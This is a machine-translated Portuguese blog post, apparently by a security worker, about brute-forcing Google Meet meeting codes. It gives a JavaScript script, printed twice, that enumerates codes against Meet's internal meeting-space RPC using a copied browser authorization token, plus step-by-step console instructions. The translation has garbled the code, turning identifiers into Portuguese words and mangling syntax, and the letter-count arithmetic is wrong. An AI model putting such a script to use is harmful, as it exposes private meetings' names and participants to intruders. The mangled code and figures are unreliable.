Visio – fique preso no Google Meet | Dyrk, Dyna Meet – Visio
Conhecer visio
randomize = () => dico = dico.Dividir (”).Mapa (valor => (< value, sort: Math.random() >)).feitiço ((a, b) => a.feitiço – b.soletrar).Mapa ((< value >) => valor).Juntar (”),
Newpatternkey = () => “xxx-xxxx-xxx”.Dividir (”).Mapa (c => c == ‘-‘?C: String.FromCharCode (Math.Piso (matemática.Aleatoriamente ()*25) +97)).Juntar (”),
Key = newPatternKey (), contador = 20;
Next = () => Tecla.Dividir (”).Mapa (e => e == ‘-‘ ? E: dico [dico.IndexOf (e) + 1> = dico.comprimento ? 0: Dico.IndexOf (e) + 1]).Juntar (”),
Contador = 0;
meetlink = ‘https: // meet.Google.com/’, dedo do pé disponível = () => xhr = novo xmlHttPrequest ();
If (contador ++> = 20) contador = 0;
Key = newPatternKey ();
Aleatória ();
>
Key = next ();
xhr.Aberto (‘Get’, MeetLink + Key);
xhr.AddEventlisner (‘load’, (e) => busca (meetlink.concat (“/$ rpc/google.Rtc.Encontros.V1.ReuniãoPaceservice/ResolveMeetingspace “),” Cabeçalhos “:” Autorização “: Autorização,
“Tipo de Conteúdo”: “Aplicativo/X-Protobuf”,
“X-Goog-Adep-Key”: e.alvo.responsabilidade.Match (/\ [“https \: \/\/meet \.Google\.com \ “\,” ([a-za-z0-9 \ _ \-]) “\]/) [1],
“X-Goog-Authuse”: “0”,
“X-Goog-Encode-RéSpose-If-Executable”: “Base64”,
“X-GOOG-EXIDENTIDENTE”: BTOA (‘\ B \ X02 \ X12 \ f’.Concat (chave)),
>,
“corpo”: “\ n \ f”.Concat (Key, “0 \ U0001”),
“Método”: “post”
>).então (e => e.Texto ())
.então (e => setTimeout (disponível, 100);
console.Log (meetlink.Concat (chave).BEENGIFICEDISPLAY (38), (e.Substitua (/[^a-za-z0-9]/g, “”)+””).EmbelezadoDisplay (38));
>);
>);
xhr.Enviar ();
>;
Corda.protótipo.BeactifyDisplay = função (tamanho) < let txt = this.valueOf(); return txt.concat(' '.repeat(txt.length >tamanho ? TXT.Comprimento: tamanho))).Substr (0, tamanho).Concat (‘|’); >,
console.Claro ();
disponível ();
>) ()
Dyrk
Atualmente trabalhando no campo da segurança cibernética, estou regularmente confrontado com situações bastante triviais.
Mais recente, a intrusão de uma pessoa durante uma reunião .
Felizmente, para a segurança, o Google Meet incluiu um recurso que permite alertar os participantes de que uma pessoa procura ingressar na videoconferência, mas também aceitar ou recusá -lo.
No entanto, este evento me leva a me fazer várias perguntas .
Complexidade do link do Google Meet
Primeiro de tudo, como é possível que uma pessoa se conecte a um link do encontro sem ter sido convidado para ele ?
Devemos considerar a simplicidade do link: https: // google.encontrar.comaXxx -yyyy -zzzz
Xxx -yyyy -zzzz são apenas caracteres alfabéticos entre A e Z, ou seja, 27 combinações possíveis para cada personagem.
Para os matemáticos, existe, portanto:
27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 Combinações possíveis .
Vida de um link do Google Meet
Embora agora possamos entender melhor como os links de nossos títulos de conferência “Google Meet” são construídos, há um aspecto muito importante a ser levado em consideração . A vida útil de um link do Google Meet !
Na verdade, todos podem gerar reuniões do Google Meet em alguns cliques.
Mas depois de alguns dias, semanas ou meses . Os links não são mais válidos.
Os links gerados, portanto, têm um certo período de validade .
Exceção Faça eventos “recorrentes”, e é aqui que se torna interessante.
Nos negócios, há muitas oportunidades de organizar regularmente (equipe / negócios, diariamente, semanalmente, mensalmente,, . )).
Quando um funcionário gera esse tipo de evento em sua agenda, automaticamente um link do Google Meet é gerado. Este é invariável.
Então você terá o mesmo link a cada vez para este evento.
Com um pouco de JavaScript e força bruta ?
Com todos esses elementos, agora estamos equipados para varrer todas as possibilidades e alcançar uma alta probabilidade para detectar links para videoconociados !
Então, eu tenho um pouco de seguro retro, a operação do Google Meet para escrever um código JavaScript que tentará um número infinito de combinações
(C) Dyrk.Org 2023-2024 – Roleta do Meet’s
(1) Execute este script em https: // google.encontrar.com
(2) Localizar e atualizar a variável da autorização com um token de autorização válido nos cabeçalhos “XHR Solicys” do Googles
Let Authorization = “Sapisidhash xxxxxxxxxxxxxxxx_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx“, dico =” abcdefghijklmnopqrstuvxz “,
randomize = () => dico = dico.Dividir (”).Mapa (valor => (< value, sort: Math.random() >)).feitiço ((a, b) => a.feitiço – b.soletrar).Mapa ((< value >) => valor).Juntar (”),
Newpatternkey = () => “xxx-xxxx-xxx”.Dividir (”).Mapa (c => c == ‘-‘?C: String.FromCharCode (Math.Piso (matemática.Aleatoriamente ()*25) +97)).Juntar (”),
Key = newPatternKey (), contador = 20;
Next = () => Tecla.Dividir (”).Mapa (e => e == ‘-‘ ? E: dico [dico.IndexOf (e) + 1> = dico.comprimento ? 0: Dico.IndexOf (e) + 1]).Juntar (”),
Contador = 0;
meetlink = ‘https: // meet.Google.com/’, dedo do pé disponível = () => xhr = novo xmlHttPrequest ();
If (contador ++> = 20) contador = 0;
Key = newPatternKey ();
Aleatória ();
>
Key = next ();
xhr.Aberto (‘Get’, MeetLink + Key);
xhr.AddEventlisner (‘load’, (e) => busca (meetlink.concat (“/$ rpc/google.Rtc.Encontros.V1.ReuniãoPaceservice/ResolveMeetingspace “),” Cabeçalhos “:” Autorização “: Autorização,
“Tipo de Conteúdo”: “Aplicativo/X-Protobuf”,
“X-Goog-Adep-Key”: e.alvo.responsabilidade.Match (/\ [“https \: \/\/meet \.Google\.com \ “\,” ([a-za-z0-9 \ _ \-]) “\]/) [1],
“X-Goog-Authuse”: “0”,
“X-Goog-Encode-RéSpose-If-Executable”: “Base64”,
“X-GOOG-EXIDENTIDENTE”: BTOA (‘\ B \ X02 \ X12 \ f’.Concat (chave)),
>,
“corpo”: “\ n \ f”.Concat (Key, “0 \ U0001”),
“Método”: “post”
>).então (e => e.Texto ())
.então (e =>
SetTimeout (disponível, 100);
console.Log (meetlink.Concat (chave).BEENGIFICEDISPLAY (38), (e.Substitua (/[^a-za-z0-9]/g, “”)+””).EmbelezadoDisplay (38));
>);
>);
xhr.Enviar ();
>;
Corda.protótipo.BeactifyDisplay = função (tamanho) < let txt = this.valueOf(); return txt.concat(' '.repeat(txt.length >tamanho ? TXT.Comprimento: tamanho))).Substr (0, tamanho).Concat (‘|’); >,
console.Claro ();
disponível ();
>) ()
Para operar tudo isso, será necessário:
- Abra a página https: //.Google.com
- Abra o console do desenvolvedor
- Na guia “Rede”, filtre a busca / xhr e recupere um token de token“Autorização”
- Copiar e colar o código -fonte acima e colocar no local indicou o token.
- Validar com a tecla “Entrada” no seu teclado.
Recuperação de “Autorização” Token:
Para os curiosos, é assim que o resultado desse script em ação deve parecer.
Portanto, observamos linhas que nos informa que o espaço para videoconferência não existe.
E outros que nos colocaram no token da conferência ! Portanto, indicando que o link é válido;)
No entanto, não espere cair em alguns segundos em um link do encontro ^^
(A menos que você seja um homem de sorte)
Você precisará ser uma grande paciência, deixando -o correr pelo menos meia hora.
Conclusão
Não entre em pânico que há um número maior de sorte para encontrar um link válido do Google Meet do que ganhar o loto.
Atenção ! Uma pessoa que se depara com um Link Válido Link Acesso a determinadas informações sem a necessidade de estar conectado:
O nome da reunião (portanto, evite deslizar informações confidenciais) e os participantes conectados (todos ou um jogo).
Conhecer visio
Assalto online
Até 1000 jogadores simultaneamente
Uma plataforma de acesso fácil, em visio
Horizon 2024
Até 1000 jogadores simultaneamente
Uma plataforma de acesso fácil, em visio
Onde está Charlie ?!
Até 1000 jogadores simultaneamente
Uma plataforma de acesso fácil, em visio
Missão Enigma
Até 1000 jogadores simultaneamente
Uma plataforma de acesso fácil, em visio
Consciência de segurança cibernética
Até 5000 jogadores simultaneamente
Uma plataforma de acesso fácil, em visio
Salve o Natal !
Até 1000 jogadores simultaneamente
Uma plataforma de acesso fácil, em visio
Copyright © 2023 – Dyna’meet
Gerenciar consentimento para cookies
Para oferecer as melhores experiências, usamos tecnologias como cookies para armazenar e/ou acessar as informações dos dispositivos. O consentimento para essas tecnologias nos permitirá processar dados como comportamento de navegação ou IDs exclusivos neste site. O fato de não consentir ou retirar seu consentimento pode ter um efeito negativo em certas características e funções.
Funcional funcional sempre ativado
O armazenamento ou acesso técnico é estritamente necessário no final do interesse legítimo para permitir o uso de um serviço específico solicitado explicitamente pelo assinante ou pelo usuário, ou com o único objetivo de transmitir a transmissão de comunicação em uma rede de comunicações eletrônicas.
Preferências Preferências
Armazenamento ou acesso técnico é necessário para fins de interesse legítimo para armazenar preferências que não são solicitadas pelo assinante ou pela pessoa que usa o serviço.
Estatística estatística
Armazenamento ou acesso técnico que é usado exclusivamente para fins estatísticos. Armazenamento ou acesso técnico que é usado exclusivamente em fins estatísticos anônimos. Na ausência de uma convocação a aparecer, a conformidade voluntária por parte do seu provedor de acesso à Internet ou registros adicionais de terceiros, as informações armazenadas ou extraídas nesse extremo geralmente não podem ser usadas para identificá -lo.
O armazenamento ou acesso técnico é necessário para criar perfis de usuário para enviar anúncios ou seguir o usuário em um site ou em vários sites com fins de marketing semelhantes.